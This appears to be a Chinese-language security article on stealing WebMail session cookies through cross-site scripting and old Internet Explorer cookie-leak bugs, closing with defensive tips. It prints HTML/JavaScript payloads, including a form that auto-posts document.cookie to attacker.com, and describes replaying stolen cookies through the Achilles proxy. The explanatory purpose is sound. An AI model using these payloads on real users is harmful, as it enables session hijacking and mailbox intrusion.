如果WebMail系统存在跨站脚本执行漏洞，那么攻击者就能欺骗用户从而轻易地获取cookie信息，虽然众多网站存在此漏洞，但存在此漏洞的WebMail系统还很少见。
含有恶性脚本程序的html邮件能使攻击者获取WebMail的cookie信息。Html邮件中的脚本程序先提取当前WebMail的cookie信息，然后把它赋值给某个表单元素，再将表单自动提交给攻击者，攻击者从而获得cookie会话信息。下面是一段演示程序：
＜body＞
＜form method="post" action="http://attacker.com/getcookie.cgi" name="myform"＞
＜input name="session" type="hidden"＞
＜/form＞
＜script language="JavaScript"＞
var cookie=(document.cookie)；
alert(cookie)；//这一句用于显示当前cookie信息，当然，攻击者不会这样做。
document.myform.session.value=cookie；
document.myform.submit()；
＜/script＞
getcookie.cgi是放在攻击者web服务器上的一个cgi程序，用于获取表单提交过来的cookie信息，并且做记录或者通知攻击者。当然，攻击者会把html邮件、getcookie.cgi程序设计得更隐蔽，更具欺骗性，让用户难以察觉。
通常，浏览器根据web服务器的域名来分别保存cookie信息，并且只会把cookie信息发送给同一域名的web服务器。不过，浏览器的漏洞给攻击者获取不同域名的cookie信息创造了机会，Internet Explorer、Netscape和Mozilla等被广泛使用的浏览器都存在过此类漏洞。下面是几个Internet Explorer浏览器（针对IE5.0、IE5.5或IE6.0）泄漏cookie信息的例子：
(1) Html语言中的object元素用于在当前页面内嵌入外部对象，但Internet Explorer浏览器对object元素属性的处理不当会导致任意域的cookie信息被泄漏，演示代码如下：
＜object id="data" data="empty.html" type="text/html"＞＜/object＞
＜script＞
var ref=document.getElementById("data").object；
ref.location.href="http://www.anydomain.com"；
setTimeout("alert(ref.cookie)",5000)；
＜/script＞
(2) Internet Explorer浏览器错误处理“about”协议使得一个精心构造的URL请求可能会显示或修改任意域的cookie信息，例如（以下代码在同一行）：
about://www.anydomain.com/＜script language=JavaScript＞alert(document.cookie)；＜/script＞
(3) Internet Explorer浏览器会误把URL中“%20”（空格符的URL编码）字符串之前的主机名当做cookie信息所在的域，并且发送出去。假设攻击者有一个域名“attacker.com”，攻击者把它做成泛域名解析，即把“*.attacker.com”指向攻击者web服务器所在的IP地址，“attacker.com”下的任何子域名或主机名都会被解析成这个IP地址，当用户提交了类似下面这样的URL后，浏览器就会把“anydomain.com”域名的cookie信息发送给攻击者：
http://anydomain.com%20.attacker.com/getcookie.cgi
如果攻击者要获取WebMail的临时型cookie信息，就会在html邮件中写入相应的代码，在用户浏览邮件时，该代码自动执行，使得攻击者能够获取当前浏览器里的临时cookie信息，也可以把用于获取cookie信息的URL发送给用户，诱骗用户打开该URL，这样攻击者也能获取临时cookie信息。
在攻击者获取cookie信息后，如果cookie信息里含有密码等敏感信息，那么攻击者就能很轻易地侵入用户的邮箱，虽然hotmail等WebMail系统曾经发生过此类的情况，但cookie信息泄漏敏感信息的WebMail系统还很少见。
攻击者在获取cookie信息之后，还要让此cookie信息由浏览器来存取从而与WebMail系统建立会话，这样才能侵入用户的WebMail。如果是持久型cookie信息，攻击者所要做的是把这个信息复制到自己的cookie文件中去，由浏览器存取该cookie信息从而与WebMail系统建立会话，不过临时cookie信息存储在内存中，并不容易让浏览器存取。
为了让浏览器存取临时cookie信息，攻击者可以编辑内存中的cookie信息，或者修改公开源代码的浏览器，让浏览器能够编辑cookie信息，不过这样都不是很简便的方法，简便的方法是使用Achilles程序（packetstormsecurity.org网站有下载）。Achilles是一个http代理服务器，能够载取浏览器和web服务器间的http会话信息，并且在代理转发数据之前可以编辑http会话以及临时cookie信息。
WebMail系统应该避免使用持久型cookie会话跟踪，使攻击者在cookie会话攻击上不能轻易得逞。为了防止cookie会话攻击，用户可以采取如下措施以加强安全：
(1) 设置浏览器的cookie安全级别，阻止所有cookie或者只接受某几个域的cookie。
(2) 使用cookie管理工具，增强系统cookie安全，如Cookie Pal、Burnt Cookies等。
(3) 及时给浏览器打补丁，防止cookie信息泄漏。
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